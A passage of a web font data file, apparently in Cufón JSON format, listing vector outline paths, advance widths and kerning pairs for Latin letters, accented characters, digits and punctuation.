r-32,0","w":77,"k":{"A":29,"\u00c0":29,"\u00c1":29,"\u00c2":29,"\u00c3":29,"\u00c4":29,"\u00c5":29,"\u00c6":36,"T":-5,"V":-5,"W":-5,"X":-5,"Y":-5,"\u00dd":-5,"J":14,"f":4,"d":7,"o":7,"q":7,"\u00f0":7,"\u00f2":7,"\u00f3":7,"\u00f4":7,"\u00f5":7,"\u00f6":7,"v":-5,"w":-5,"y":-5,"\u00fd":-5,"\u00ff":-5,",":13,".":12,"a":2,"\u00e0":2,"\u00e1":2,"\u00e2":2,"\u00e3":2,"\u00e4":2,"\u00e5":2,"g":12,"\u00f8":8,"x":-5,"s":2,"\u00bf":29,"4":30}},{"d":"183,-86v0,50,-36,90,-85,90v-49,0,-85,-39,-85,-90v0,-51,36,-89,85,-89v49,0,85,39,85,89xm57,-86v0,30,13,55,41,55v28,0,41,-26,41,-55v0,-29,-13,-54,-41,-54v-28,0,-41,24,-41,54xm41,-197v-10,-57,52,-44,77,-28v7,0,7,-6,8,-14r28,0v3,26,-7,44,-30,44v-16,5,-55,-36,-55,-2r-28,0","w":195,"k":{"v":3,"y":6,"\u00fd":6,"\u00ff":6,"\"":7,"'":7,",":1,"x":5,"z":5}},{"d":"18,-205r0,-32r102,0r0,32r-102,0","w":138},{"d":"224,-89v0,64,-36,93,-99,93v-64,0,-98,-29,-98,-93r0,-148r43,0v8,78,-30,204,55,204v86,0,46,-127,55,-204r44,0r0,148xm112,-251r-35,-52r47,0r21,52r-33,0","w":250,"k":{"\u00c6":8}},{"d":"117,-16v-34,37,-105,19,-105,-35v0,-46,50,-59,102,-57v5,-43,-50,-39,-78,-22r-14,-28v47,-29,142,-24,135,45r0,69v0,21,1,36,3,44r-36,0xm91,-78v-41,-8,-48,49,-10,48v12,0,23,-5,33,-13r0,-36xm35,-191r36,-53r35,0r36,53r-34,0r-19,-29r-20,29r-34,0","k":{"\"":3,"'":3}},{"d":"18,-205r0,-32r102,0r0,32r-102,0","w":138},{"d":"57,-218v0,12,-10,22,-22,22v-12,0,-22,-9,-22,-22v0,-12,9,-23,22,-22v12,0,22,10,22,22xm125,-218v0,12,-9,23,-22,22v-12,0,-22,-10,-22,-22v0,-12,10,-22,22,-22v12,0,22,9,22,22","w":138},{"d":"42,2r-25,-26r65,-65r-66,-66r26,-25r65,65r65,-65r26,26r-65,65r65,65r-26,25r-65,-65","w":214},{"d":"9,63v62,-65,62,-255,0,-320r29,-22v82,77,82,288,0,364","w":125},{"d":"29,0r0,-237r43,0r0,202r84,0r0,35r-127,0","w":162,"k":{"C":11,"G":11,"O":11,"Q":11,"\u00c7":11,"\u00d2":11,"\u00d3":11,"\u00d4":11,"\u00d5":11,"\u00d6":11,"T":22,"V":22,"W":13,"Y":25,"\u00dd":25,"v":15,"w":8,"y":17,"\u00fd":17,"\u00ff":17,"\"":25,"'":25,",":-6,".":-6,":":-6,";":-6,"\u00ae":15,"\u00ad":11,"\u2219":4,"\u00ab":4}},{"d":"95,-176v0,5,10,50,8,57r-31,0v-2,-10,8,-51,9,-58v-15,12,-29,27,-46,37r-16,-27v7,-6,47,-20,55,-22v-2,1,-51,-17,-54,-21r15,-27v9,2,41,32,46,36v-1,-5,-10,-47,-8,-57r30,0v2,10,-7,52,-8,57r46,-36r15,27v-7,5,-47,18,-54,21v7,2,48,17,54,22r-15,27v-9,-3,-41,-31,-46,-36","w":175},{"d":"258,-118v0,71,-50,122,-120,122v-70,0,-119,-51,-119,-122v0,-70,49,-121,119,-121v69,0,120,52,120,121xm65,-118v0,49,26,85,73,85v48,0,74,-36,74,-85v0,-49,-26,-85,-74,-85v-46,1,-73,35,-73,85xm85,-251r36,-52r35,0r36,52r-34,0r-20,-28r-19,28r-34,0","w":276,"k":{"A":6,"\u00c0":6,"\u00c1":6,"\u00c2":6,"\u00c3":6,"\u00c4":6,"\u00c5":6,"\u00c6":13,"T":7,"V":7,"W":4,"X":9,"Y":9,"\u00dd":9,".":1,"Z":6}},{"d":"117,-16v-34,37,-105,19,-105,-35v0,-46,50,-59,102,-57v5,-43,-50,-39,-78,-22r-14,-28v47,-29,142,-24,135,45r0,69v0,21,1,36,3,44r-36,0xm91,-78v-41,-8,-48,49,-10,48v12,0,23,-5,33,-13r0,-36xm131,-223v0,22,-20,35,-42,35v-22,0,-42,-12,-42,-35v0,-24,19,-35,42,-35v23,0,42,12,42,35xm74,-223v0,10,5,16,15,16v9,0,15,-6,15,-16v0,-10,-7,-17,-15,-17v-9,0,-15,7,-15,17","k":{"\"":3,"'":3}},{"d":"117,-16v-34,37,-105,19,-105,-35v0,-46,50,-59,102,-57v5,-43,-50,-39,-78,-22r-14,-28v47,-29,142,-24,135,45r0,69v0,21,1,36,3,44r-36,0xm91,-78v-41,-8,-48,49,-10,48v12,0,23,-5,33,-13r0,-36xm67,-191r21,-53r47,0r-35,53r-33,0","k":{"\"":3,"'":3}},{"d":"135,-176v0,39,-23,64,-58,64v-35,0,-58,-25,-58,-64v0,-38,22,-63,58,-63v36,0,58,25,58,63xm53,-176v0,20,6,38,24,38v18,0,23,-18,23,-38v0,-20,-6,-36,-23,-37v-18,0,-24,17,-24,37xm301,-60v0,39,-23,64,-58,64v-35,0,-58,-25,-58,-64v0,-38,22,-63,58,-63v36,0,58,25,58,63xm243,-98v-33,0,-33,76,0,76v32,-1,31,-75,0,-76xm67,0r150,-237r35,0r-149,237r-36,0","w":320},{"d":"258,-118v0,71,-50,122,-120,122v-70,0,-119,-51,-119,-122v0,-70,49,-121,119,-121v69,0,120,52,120,121xm65,-118v0,49,26,85,73,85v48,0,74,-36,74,-85v0,-49,-26,-85,-74,-85v-46,1,-73,35,-73,85xm121,-251r21,-52r47,0r-35,52r-33,0","w":276,"k":{"A":6,"\u00c0":6,"\u00c1":6,"\u00c2":6,"\u00c3":6,"\u00c4":6,"\u00c5":6,"\u00c6":13,"T":7,"V":7,"W":4,"X":9,"Y":9,"\u00dd":9,".":1,"Z":6}},{"d":"160,-148v49,52,14,152,-62,152v-17,0,-32,-5,-45,-13r-15,19r-18,-14r15,-19v-48,-53,-13,-152,63,-152v16,0,31,5,44,13r14,-17r18,14xm75,-38v41,29,81,-28,60,-76xm120,-133v-40,-30,-82,30,-59,76","w":195,"k":{"z":6}},{"d":"20,-23r48,-64r-48,-65r34,-18r61,83r-61,83xm109,-23r48,-64r-48,-65r34,-18r61,83r-61,83","w":217,"k":{"\u00c6":6,"T":17,"V":11,"W":2,"X":8,"Y":17,"\u00dd":17,"J":8,"S":7,"x":8,"z":5,"Z":2}},{"d":"178,-121v-1,56,-42,81,-106,78r0,43r-43,0r0,-237r43,0r0,38v64,-4,107,22,106,78xm132,-121v0,-33,-23,-45,-60,-42r0,85v36,2,60,-9,60,-43","w":196,"k":{"A":10,"\u00c0":10,"\u00c1":10,"\u00c2":10,"\u00c3":10,"\u00c4":10,"\u00c5":10,"\u00c6":18,"V":6,"W":3,"X":17,"Y":14,"\u00dd":14,"\"":3,"'":3,",":14,".":9,"Z":21}},{"d":"56,-73v-1,44,58,54,91,31r13,30v-61,39,-147,6,-147,-73v0,-50,28,-90,76,-90v54,1,79,43,76,102r-109,0xm121,-103v3,-33,-36,-52,-57,-28v-6,7,-9,17,-9,28r66,0xm69,-191r21,-53r46,0r-34,53r-33,0","k":{"\"":5,"'":5}},{"d":"66,-138v0,13,-12,25,-24,25v-13,0,-24,-12,-24,-25v0,-13,11,-24,24,-24v12,0,24,11,24,24xm66,-22v0,13,-12,25,-24,25v-13,0,-24,-12,-24,-25v0,-13,11,-24,24,-24v12,0,24,11,24,24","w":85,"k":{"A":-5,"\u00c0":-5,"\u00c1":-5,"\u00c2":-5,"\u00c3":-5,"\u00c4":-5,"\u00c5":-5,"\u00c6":-5,"T":14,"x":-5}},{"d":"56,-73v-1,44,58,54,91,31r13,30v-61,39,-147,6,-147,-73v0,-50,28,-90,76,-90v54,1,79,43,76,102r-109,0xm121,-103v3,-33,-36,-52,-57,-28v-6,7,-9,17,-9,28r66,0xm80,-191r-35,-53r46,0r21,53r-32,0","k":{"\"":5,"'":5}},{"d":"19,-71r0,-36r94,0r0,36r-94,0","w":131,"k":{"\u00c6":8,"T":28,"V":7,"Y":12,"\u00dd":12,"J":7,"S":3,"x":8,"z":2,"Z":3}},{"d":"29,0r0,-237r131,0r-12,35r-76,0r0,63r76,0r0,36r-76,0r0,68r88,0r0,35r-131,0xm71,-251r20,-52r47,0r-35,52r-32,0","w":180},{"d":"4,0r85,-119r-78,-118r49,0r56,85r60,-85r48,0r-84,117r80,120r-48,0r-59,-87r-62,87r-47,0","w":227,"k":{"C":9,"G":9,"O":9,"Q":9,"\u00c7":9,"\u00d2":9,"\u00d3":9,"\u00d4":9,"\u00d5":9,"\u00d6":9,"d":7,"o":7,"q":7,"\u00f0":7,"\u00f2":7,"\u00f3":7,"\u00f4":7,"\u00f5":7,"\u00f6":7,"v":14,"w":14,"y":14,"\u00fd":14,"\u00ff":14,"\"":-5,"'":-5,".":-5,"c":7,"e":7,"\u00e7":7,"\u00e8":7,"\u00e9":7,"\u00ea":7,"\u00eb":7,"\u00ab":8}},{"d":"122,-152v0,12,-9,23,-22,22v-12,0,-22,-10,-22,-22v0,-12,10,-22,22,-22v12,0,22,9,22,22xm14,-72r0,-36r170,0r0,36r-170,0xm122,-28v0,12,-9,23,-22,22v-12,0,-22,-10,-22,-22v0,-12,10,-22,22,-22v12,0,22,9,22,22","w":198},{"d":"184,-127v0,102,-74,157,-164,119r11,-35v50,28,107,7,107,-58v-47,37,-124,11,-124,-57v0,-47,34,-81,82,-81v61,0,88,46,88,112xm58,-161v0,48,58,53,81,22v1,-33,-14,-65,-44,-65v-23,-1,-37,19,-37,43","w":201,"k":{"7":7}},{"d":"63,-170v7,48,-21,137,29,137v14,0,26,-5,35,-15r0,-122r43,0r0,128v0,21,1,35,3,42r-37,0r-6,-18v-41,41,-110,22,-110,-48r0,-104r43,0xm75,-191r20,-53r47,0r-35,53r-32,0","w":192},{"d":"72,-150v0,13,-11,25,-24,25v-13,0,-24,-12,-24,-25v0,-13,12,-25,24,-25v13,0,24,12,24,25xm61,-102v10,56,8,90,9,168r-43,0v1,-78,-3,-114,9,-168r25,0","w":96,"k":{"T":18,"V":11,"W":11,"X":2,"Y":11,"\u00dd":11,"Z":4,"j":-9}},{"d":"180,-170v-1,33,-21,53,-47,62v22,17,51,78,69,108r-49,0v-17,-25,-41,-79,-60,-93r-21,0r0,93r-43,0r0,-237v74,-3,154,-3,151,67xm134,-165v0,-31,-27,-40,-62,-37r0,74v34,2,62,-4,62,-37","w":212,"k":{"C":6,"G":6,"O":6,"Q":6,"\u00c7":6,"\u00d2":6,"\u00d3":6,"\u00d4":6,"\u00d5":6,"\u00d6":6,"T":7,"V":8,"W":6,"Y":13,"\u00dd":13,"d":9,"o":9,"q":9,"\u00f0":9,"\u00f2":9,"\u00f3":9,"\u00f4":9,"\u00f5":9,"\u00f6":9,"c":9,"e":9,"\u00e7":9,"\u00e8":9,"\u00e9":9,"\u00ea":9,"\u00eb":9,"\u00ad":7,"\u00ab":8}},{"d":"14,-211v40,-41,138,-41,138,24v0,51,-59,51,-71,90v0,5,2,11,5,15r-36,13v-7,-9,-11,-19,-11,-30v1,-47,57,-43,65,-83v-4,-35,-50,-21,-70,-1xm94,-22v0,13,-11,25,-24,25v-13,0,-24,-12,-24,-25v0,-13,11,-24,24,-24v13,0,24,11,24,24","w":173,"k":{"\u00bb":9,"\u00ab":20}},{"d":"180,-88v0,61,-51,106,-115,88r0,85r-43,0r0,-340r43,0r0,83v65,-15,115,22,115,84xm135,-86v0,-41,-31,-61,-70,-50r0,100v38,14,70,-9,70,-50","w":191,"k":{"v":3,"y":6,"\u00fd":6,"\u00ff":6,"\"":7,"'":7,",":1,"x":5,"z":5}},{"d":"25,-13r0,-36r116,-45r-116,-44r0,-36r154,63r0,34","w":195},{"d":"41,-71v0,76,67,117,134,88r8,24v-87,32,-171,-19,-171,-110v0,-79,57,-136,133,-136v70,0,123,45,123,115v0,46,-21,79,-61,80v-22,1,-32,-12,-38,-30v-19,43,-99,37,-99,-28v0,-69,77,-101,133,-65r-9,75v0,15,6,22,16,22v21,-2,29,-25,29,-51v0,-55,-35,-93,-94,-93v-61,0,-104,46,-104,109xm168,-116v-32,-19,-64,11,-64,47v0,36,30,40,47,19v11,-13,15,-42,17,-66","w":279},{"d":"183,-86v0,50,-36,90,-85,90v-49,0,-85,-39,-85,-90v0,-51,36,-89,85,-89v49,0,85,39,85,89xm57,-86v0,30,13,55,41,55v28,0,41,-26,41,-55v0,-29,-13,-54,-41,-54v-28,0,-41,24,-41,54","w":195,"k":{"v":3,"y":6,"\u00fd":6,"\u00ff":6,"\"":7,"'":7,",":1,"x":5,"z":5}},{"d":"232,-120v0,74,-56,122,-133,120r-70,0r0,-237r74,0v78,-2,129,43,129,117xm186,-120v0,-61,-45,-89,-114,-82r0,167v71,7,114,-23,114,-85","w":250,"k":{"A":6,"\u00c0":6,"\u00c1":6,"\u00c2":6,"\u00c3":6,"\u00c4":6,"\u00c5":6,"\u00c6":13,"T":7,"V":7,"W":4,"X":9,"Y":9,"\u00dd":9,".":1,"Z":6}},{"d":"131,-99v3,-46,-43,-46,-68,-20r0,119r-43,0r0,-170r37,0r4,19v42,-40,113,-31,113,38r0,113r-43,0r0,-99","w":193,"k":{"v":1,"w":1,"y":3,"\u00fd":3,"\u00ff":3,"\"":2,"'":2}},{"d":"232,-120v0,74,-56,122,-133,120r-70,0r0,-103r-26,0r0,-35r26,0r0,-99r74,0v78,-2,129,43,129,117xm186,-120v0,-61,-45,-89,-114,-82r0,64r54,0r0,35r-54,0r0,68v71,7,114,-23,114,-85","w":250,"k":{"A":6,"\u00c0":6,"\u00c1":6,"\u00c2":6,"\u00c3":6,"\u00c4":6,"\u00c5":6,"\u00c6":13,"T":7,"V":7,"W":4,"X":9,"Y":9,"\u00dd":9,".":1,"Z":6}},{"d":"17,-77r0,-34r154,-63r0,36r-117,45r117,44r0,36","w":195},{"d":"183,-86v0,50,-36,90,-85,90v-49,0,-85,-39,-85,-90v0,-51,36,-89,85,-89v49,0,85,39,85,89xm57,-86v0,30,13,55,41,55v28,0,41,-26,41,-55v0,-29,-13,-54,-41,-54v-28,0,-41,24,-41,54xm85,-218v0,12,-9,23,-22,22v-12,0,-22,-10,-22,-22v0,-12,10,-22,22,-22v12,0,22,9,22,22xm154,-218v0,12,-10,22,-22,22v-12,0,-22,-9,-22,-22v0,-12,9,-23,22,-22v12,0,22,10,22,22","w":195,"k":{"v":3,"y":6,"\u00fd":6,"\u00ff":6,"\"":7,"'":7,",":1,"x":5,"z":5}},{"d":"180,-91v0,79,-89,116,-158,83r0,-247r43,0r0,85v61,-19,115,18,115,79xm135,-88v0,-39,-33,-62,-70,-46r0,99v39,12,70,-13,70,-53","w":191,"k":{"v":3,"y":6,"\u00fd":6,"\u00ff":6,"\"":7,"'":7,",":1,"x":5,"z":5}},{"d":"258,-118v0,71,-50,122,-120,122v-70,0,-119,-51,-119,-122v0,-70,49,-121,119,-121v69,0,120,52,120,121xm65,-118v0,49,26,85,73,85v48,0,74,-36,74,-85v0,-49,-26,-85,-74,-85v-46,1,-73,35,-73,85xm195,-301v10,58,-51,43,-77,28v-7,1,-7,5,-7,14r-29,0v-3,-26,7,-42,30,-44v12,-1,39,16,47,16v8,0,8,-5,8,-14r28,0","w":276,"k":{"A":6,"\u00c0":6,"\u00c1":6,"\u00c2":6,"\u00c3":6,"\u00c4":6,"\u00c5":6,"\u00c6":13,"T":7,"V":7,"W":4,"X":9,"Y":9,"\u00dd":9,".":1,"Z":6}},{"d":"117,-16v-34,37,-105,19,-105,-35v0,-46,50,-59,102,-57v5,-43,-50,-39,-78,-22r-14,-28v47,-29,142,-24,135,45r0,69v0,21,1,36,3,44r-36,0xm91,-78v-41,-8,-48,49,-10,48v12,0,23,-5,33,-13r0,-36xm77,-218v0,12,-10,22,-23,22v-12,0,-22,-10,-22,-22v0,-12,10,-22,22,-22v13,0,23,10,23,22xm145,-218v0,12,-9,22,-22,22v-12,0,-22,-9,-22,-22v0,-12,9,-22,22,-22v12,0,22,9,22,22","k":{"\"":3,"'":3}},{"d":"23,-171r-4,-84r40,0r-4,84r-32,0xm88,-171r-4,-84r40,0r-4,84r-32,0","w":142,"k":{"A":29,"\u00c0":29,"\u00c1":29,"\u00c2":29,"\u00c3":29,"\u00c4":29,"\u00c5":29,"\u00c6":36,"T":-5,"V":-5,"W":-5,"X":-5,"Y":-5,"\u00dd":-5,"J":14,"f":4,"d":7,"o":7,"q":7,"\u00f0":7,"\u00f2":7,"\u00f3":7,"\u00f4":7,"\u00f5":7,"\u00f6":7,"v":-5,"w":-5,"y":-5,"\u00fd":-5,"\u00ff":-5,",":13,".":12,"a":2,"\u00e0":2,"\u00e1":2,"\u00e2":2,"\u00e3":2,"\u00e4":2,"\u00e5":2,"g":12,"\u00f8":8,"x":-5,"s":2,"\u00bf":29,"4":30}},{"d":"171,-195v-39,-21,-84,0,-74,56r68,0r-12,36r-56,0v1,37,-8,58,-21,72v33,-7,66,-3,103,-4r0,35r-157,0r0,-27v22,-7,32,-32,32,-76r-25,0r0,-36r25,0v-11,-83,54,-119,126,-91","w":196},{"d":"116,-257v-60,67,-63,255,0,320r-29,22v-83,-76,-81,-287,0,-364","w":125,"k":{"J":-13,"y":-8,"\u00fd":-8,"\u00ff":-8,"g":-5,"j":-18}},{"d":"29,0r0,-237r43,0r0,98r115,0r0,-98r44,0r0,237r-44,0r0,-103r-115,0r0,103r-43,0","w":259},{"d":"258,-118v0,71,-50,122,-120,122v-70,0,-119,-51,-119,-122v0,-70,49,-121,119,-121v69,0,120,52,120,121xm65,-118v0,49,26,85,73,85v48,0,74,-36,74,-85v0,-49,-26,-85,-74,-85v-46,1,-73,35,-73,85xm124,-251r-35,-52r47,0r21,52r-33,0","w":276,"k":{"A":6,"\u00c0":6,"\u00c1":6,"\u00c2":6,"\u00c3":6,"\u00c4":6,"\u00c5":6,"\u00c6":13,"T":7,"V":7,"W":4,"X":9,"Y":9,"\u00dd":9,".":1,"Z":6}},{"d":"29,0r0,-237r43,0r1,101r81,-101r50,0r-95,115r101,122r-53,0r-85,-104r0,104r-43,0","w":215,"k":{"C":15,"G":15,"O":15,"Q":15,"\u00c7":15,"\u00d2":15,"\u00d3":15,"\u00d4":15,"\u00d5":15,"\u00d6":15,"d":9,"o":9,"q":9,"\u00f0":9,"\u00f2":9,"\u00f3":9,"\u00f4":9,"\u00f5":9,"\u00f6":9,"v":19,"w":16,"y":21,"\u00fd":21,"\u00ff":21,"c":9,"e":9,"\u00e7":9,"\u00e8":9,"\u00e9":9,"\u00ea":9,"\u00eb":9,"\u00ae":8,"\u00ad":13,"\u2219":10,"\u00ab":11}},{"d":"19,-71r0,-36r94,0r0,36r-94,0","w":131},{"d":"129,-101v3,-45,-41,-42,-66,-19r0,120r-43,0r0,-170r36,0r4,19v34,-30,82,-36,103,3v41,-43,117,-36,117,35r0,113r-42,0r0,-101v3,-46,-42,-42,-67,-19v3,37,0,81,1,120r-43,0r0,-101","w":299,"k":{"v":1,"w":1,"y":3,"\u00fd":3,"\u00ff":3,"\"":2,"'":2}},{"d":"42,0r13,-60r-40,0r0,-33r47,0r11,-51r-40,0r0,-33r48,0r13,-60r40,0r-13,60r40,0r13,-60r41,0r-13,60r40,0r0,33r-47,0r-11,51r40,0r0,33r-48,0r-12,60r-41,0r13,-60r-41,0r-12,60r-41,0xm103,-93r40,0r11,-51r-40,0","w":257},{"d":"8,85r0,-33r37,0r0,-298r-37,0r0,-32r77,0r0,363r-77,0","w":109},{"d":"56,-73v-1,44,58,54,91,31r13,30v-61,39,-147,6,-147,-73v0,-50,28,-90,76,-90v54,1,79,43,76,102r-109,0xm121,-103v3,-33,-36,-52,-57,-28v-6,7,-9,17,-9,28r66,0xm37,-191r36,-53r35,0r36,53r-34,0r-20,-29r-19,29r-34,0","k":{"\"":5,"'":5}},{"d":"224,-89v0,64,-36,93,-99,93v-64,0,-98,-29,-98,-93r0,-148r43,0v8,78,-30,204,55,204v86,0,46,-127,55,-204r44,0r0,148xm107,-251r20,-52r47,0r-35,52r-32,0","w":250,"k":{"\u00c6":8}},{"d":"18,-205r0,-32r102,0r0,32r-102,0","w":138},{"d":"65,-117v0,74,77,106,137,68r12,34v-85,47,-195,3,-195,-101v0,-93,95,-150,187,-112r0,40v-62,-36,-141,-6,-141,71","w":225,"k":{"d":5,"o":5,"q":5,"\u00f0":5,"\u00f2":5,"\u00f3":5,"\u00f4":5,"\u00f5":5,"\u00f6":5,"v":21,"w":20,"y":23,"\u00fd":23,"\u00ff":23,"c":5,"e":5,"\u00e7":5,"\u00e8":5,"\u00e9":5,"\u00ea":5,"\u00eb":5,")":-5,"\u00ad":8,"]":-5,"}":-5,"\u2219":4}},{"d":"70,-237v-1,76,1,113,-9,167r-25,0v-12,-54,-8,-89,-9,-167r43,0xm72,-22v0,13,-11,25,-24,25v-13,0,-24,-12,-24,-25v0,-13,11,-24,24,-24v13,0,24,11,24,24","w":96},{"d":"30,85r0,-366r42,0r0,366r-42,0","w":101},{"d":"224,-89v0,64,-36,93,-99,93v-64,0,-98,-29,-98,-93r0,-148r43,0v8,78,-30,204,55,204v86,0,46,-127,55,-204r44,0r0,148xm73,-251r36,-52r34,0r37,52r-34,0r-20,-28r-19,28r-34,0","w":250,"k":{"\u00c6":8}},{"d":"34,-170v-11,-65,38,-102,93,-77r-8,34v-21,-9,-42,-7,-42,19r0,24r44,0r-10,33r-34,0r0,137r-43,0r0,-137r-25,0r0,-33r25,0","w":124,"k":{"\"":-10,"'":-10,",":7,".":8,")":-9,"]":-10,"}":-8,"\u00ef":-16,"\u00ec":-10,"\u00ee":-7}},{"d":"29,0r0,-237r39,0r83,120v23,-42,51,-80,76,-120r40,0r0,237r-44,0r0,-165r-63,99r-20,0r-68,-99r0,165r-43,0","w":295},{"d":"65,-117v0,66,60,100,120,77r0,-75r44,0r0,100v-87,46,-210,7,-210,-99v0,-99,102,-150,199,-114r0,41v-65,-37,-153,-10,-153,70","w":254,"k":{"v":9,"w":7,"y":9,"\u00fd":9,"\u00ff":9}},{"d":"79,-53r0,-50r-65,0r0,-35r65,0r0,-50r40,0r0,50r65,0r0,35r-65,0r0,50r-40,0xm14,0r0,-36r170,0r0,36r-170,0","w":198},{"d":"176,-70v0,75,-102,89,-164,60r12,-34v33,17,107,18,107,-25v0,-37,-47,-34,-86,-33r0,-35v39,2,80,-2,78,-34v-3,-45,-61,-35,-93,-16r-12,-33v54,-32,151,-27,151,44v0,25,-14,40,-36,52v25,6,43,24,43,54","w":200,"k":{"1":10,"2":8,"7":2}},{"d":"129,44v1,32,-46,38,-77,28r6,-19v12,4,37,4,35,-9v-2,-13,-14,-11,-30,-12r10,-31v-36,-9,-60,-41,-60,-85v0,-69,75,-114,135,-79r0,36v-36,-28,-91,-9,-91,42v0,51,47,67,87,43r13,29v-11,9,-34,16,-53,16r-5,15v20,2,30,10,30,26","w":161,"k":{")":-7,"\u00ad":4,"]":-7,"}":-7}},{"d":"-4,77r10,-33v41,20,64,-10,74,-45r-77,-169r45,0r52,121r41,-121r44,0r-65,175v-15,54,-57,99,-124,72xm75,-191r20,-53r47,0r-35,53r-32,0","w":186,"k":{"d":3,"o":3,"q":3,"\u00f0":3,"\u00f2":3,"\u00f3":3,"\u00f4":3,"\u00f5":3,"\u00f6":3,"\"":-5,"'":-5,",":10,".":8,"c":3,"e":3,"\u00e7":3,"\u00e8":3,"\u00e9":3,"\u00ea":3,"\u00eb":3,"\u00f8":3}},{"d":"173,-177v-4,75,-91,77,-108,142r110,0r0,35r-165,0v4,-69,47,-103,89,-132v13,-9,28,-22,28,-41v0,-45,-61,-32,-97,-14r-12,-33v55,-30,158,-30,155,43","w":193,"k":{"4":9}},{"d":"5,0r79,-137r-65,0r-9,-33r137,0r-78,137r76,0r0,33r-140,0","w":149,"k":{"d":1,"o":1,"q":1,"\u00f0":1,"\u00f2":1,"\u00f3":1,"\u00f4":1,"\u00f5":1,"\u00f6":1,"\"":-5,"'":-5,",":-5,".":-6,":":-6,";":-5,"c":1,"e":1,"\u00e7":1,"\u00e8":1,"\u00e9":1,"\u00ea":1,"\u00eb":1}},{"d":"14,-108r0,-36r170,0r0,36r-170,0xm14,-36r0,-35r170,0r0,35r-170,0","w":198},{"d":"189,-118v0,69,-25,122,-86,122v-61,0,-86,-53,-86,-122v0,-69,25,-121,86,-121v61,0,86,53,86,121xm63,-118v0,47,3,85,40,85v37,0,40,-39,40,-85v0,-47,-3,-85,-40,-85v-37,0,-40,39,-40,85","w":205},{"d":"58,-191r-35,-53r47,0r21,53r-33,0","w":138},{"d":"178,-159v-2,56,-44,80,-106,77r0,82r-43,0r0,-237v79,-5,152,5,149,78xm132,-159v0,-33,-22,-46,-60,-43r0,85v37,3,60,-8,60,-42","w":196,"k":{"A":19,"\u00c0":19,"\u00c1":19,"\u00c2":19,"\u00c3":19,"\u00c4":19,"\u00c5":19,"\u00c6":32,"X":13,"Y":3,"\u00dd":3,"d":8,"o":8,"q":8,"\u00f0":8,"\u00f2":8,"\u00f3":8,"\u00f4":8,"\u00f5":8,"\u00f6":8,",":21,".":22,"c":8,"e":8,"\u00e7":8,"\u00e8":8,"\u00e9":8,"\u00ea":8,"\u00eb":8,"\u00ad":5,"a":6,"\u00e0":6,"\u00e1":6,"\u00e2":6,"\u00e3":6,"\u00e4":6,"\u00e5":6,"\u00e6":6,"g":8,"\u00f8":8,"\u00ab":2,"Z":12}},{"d":"29,0r0,-237r43,0r101,129v12,14,18,28,27,37r-1,-166r44,0r0,237r-40,0r-132,-171r1,171r-43,0","w":271},{"d":"79,-53v-3,28,27,25,43,14r13,29v-31,24,-99,19,-99,-32r0,-95r-30,0r0,-33r30,0r0,-40r43,-12r0,52r52,0r-11,33r-41,0r0,84","w":138,"k":{",":-5,".":-5,":":-5,";":-5,"\u00ad":2}},{"d":"20,0r0,-170r36,0r5,19v22,-22,44,-32,71,-17r-15,37v-21,-12,-34,-5,-54,11r0,120r-43,0","w":131,"k":{"d":6,"o":6,"q":6,"\u00f0":6,"\u00f2":6,"\u00f3":6,"\u00f4":6,"\u00f5":6,"\u00f6":6,",":14,".":13,"c":6,"e":6,"\u00e7":6,"\u00e8":6,"\u00e9":6,"\u00ea":6,"\u00eb":6,"\u00ad":4,"\u00e6":6,"g":3,"\u00f8":6,"\u00ab":7}},{"d":"135,-125v54,27,35,119,-28,119r0,37r-31,0r0,-37v-20,-2,-38,-8,-54,-19r17,-32v25,20,83,28,86,-9v-14,-51,-98,-40,-97,-107v0,-32,26,-55,56,-59r0,-35r31,0r0,34v16,2,30,6,42,12r0,36v-19,-10,-37,-14,-54,-14v-28,0,-40,27,-20,43v15,12,34,22,52,31","w":196},{"d":"183,-86v0,50,-36,90,-85,90v-49,0,-85,-39,-85,-90v0,-51,36,-89,85,-89v49,0,85,39,85,89xm57,-86v0,30,13,55,41,55v28,0,41,-26,41,-55v0,-29,-13,-54,-41,-54v-28,0,-41,24,-41,54xm86,-191r-35,-53r47,0r20,53r-32,0","w":195,"k":{"v":3,"y":6,"\u00fd":6,"\u00ff":6,"\"":7,"'":7,",":1,"x":5,"z":5}},{"d":"90,1v4,54,-50,79,-101,60r8,-35v24,10,49,2,49,-31r0,-232r44,0r0,238","w":118},{"d":"5,13r90,-264r43,0r-90,264r-43,0","w":142},{"d":"133,-99v3,-47,-42,-46,-68,-20r0,119r-43,0r0,-255r43,0r0,103v40,-38,111,-29,111,39r0,113r-43,0r0,-99","w":195,"k":{"v":1,"w":1,"y":3,"\u00fd":3,"\u00ff":3,"\"":2,"'":2}},{"d":"47,-191r21,-53r47,0r-35,53r-33,0","w":138},{"d":"79,0r0,-72r-65,0r0,-36r65,0r0,-71r40,0r0,71r65,0r0,36r-65,0r0,72r-40,0","w":198},{"d":"190,-78v0,49,-35,83,-83,82v-58,-1,-90,-47,-90,-113v0,-91,73,-158,160,-119r-11,33v-52,-26,-103,7,-104,60v50,-37,128,-11,128,57xm63,-100v-2,37,16,69,45,69v24,0,36,-16,36,-41v0,-50,-56,-55,-81,-28","w":203,"k":{"1":8}},{"d":"80,0r0,-194r-55,24r-14,-33v37,-12,59,-40,112,-36r0,239r-43,0","w":160},{"d":"111,-94v53,26,23,98,-41,98v-24,0,-44,-6,-62,-17r13,-31v22,23,99,16,68,-18v-28,-15,-72,-18,-72,-61v-1,-51,71,-62,115,-43r0,36v-17,-7,-33,-11,-48,-11v-45,0,-19,31,4,37v8,2,15,6,23,10","w":151},{"d":"19,-71r0,-36r94,0r0,36r-94,0","w":131},{"d":"69,-120v0,47,49,63,86,40r11,31v-14,7,-30,11,-48,12r0,37r-31,0r0,-38v-37,-6,-59,-39,-60,-80v0,-40,27,-75,62,-81r0,-38r31,0r0,35v15,0,28,3,38,10r0,34v-34,-25,-89,-9,-89,38","w":196},{"d":"28,0v16,-79,50,-150,88,-202r-100,0r-10,-35r168,0r0,15v-50,59,-84,132,-101,222r-45,0","w":179,"k":{",":37,".":40,"4":24,"2":2,"0":4,"6":11,"8":9}},{"d":"153,-45v46,41,3,104,-61,104v-28,0,-51,-7,-69,-20r17,-30v25,20,88,25,90,-10v-13,-53,-106,-35,-105,-103v0,-22,9,-40,28,-52v-42,-38,-9,-105,50,-105v24,0,45,4,62,13r-1,37v-19,-10,-38,-15,-56,-15v-17,-1,-32,8,-32,24v14,53,109,35,107,106v0,24,-14,42,-30,51xm130,-61v43,-39,-21,-69,-54,-80v-40,39,21,68,54,80","w":200},{"d":"30,-150r0,-131r42,0r0,131r-42,0xm30,85r0,-131r42,0r0,131r-42,0","w":101},{"d":"166,44v1,32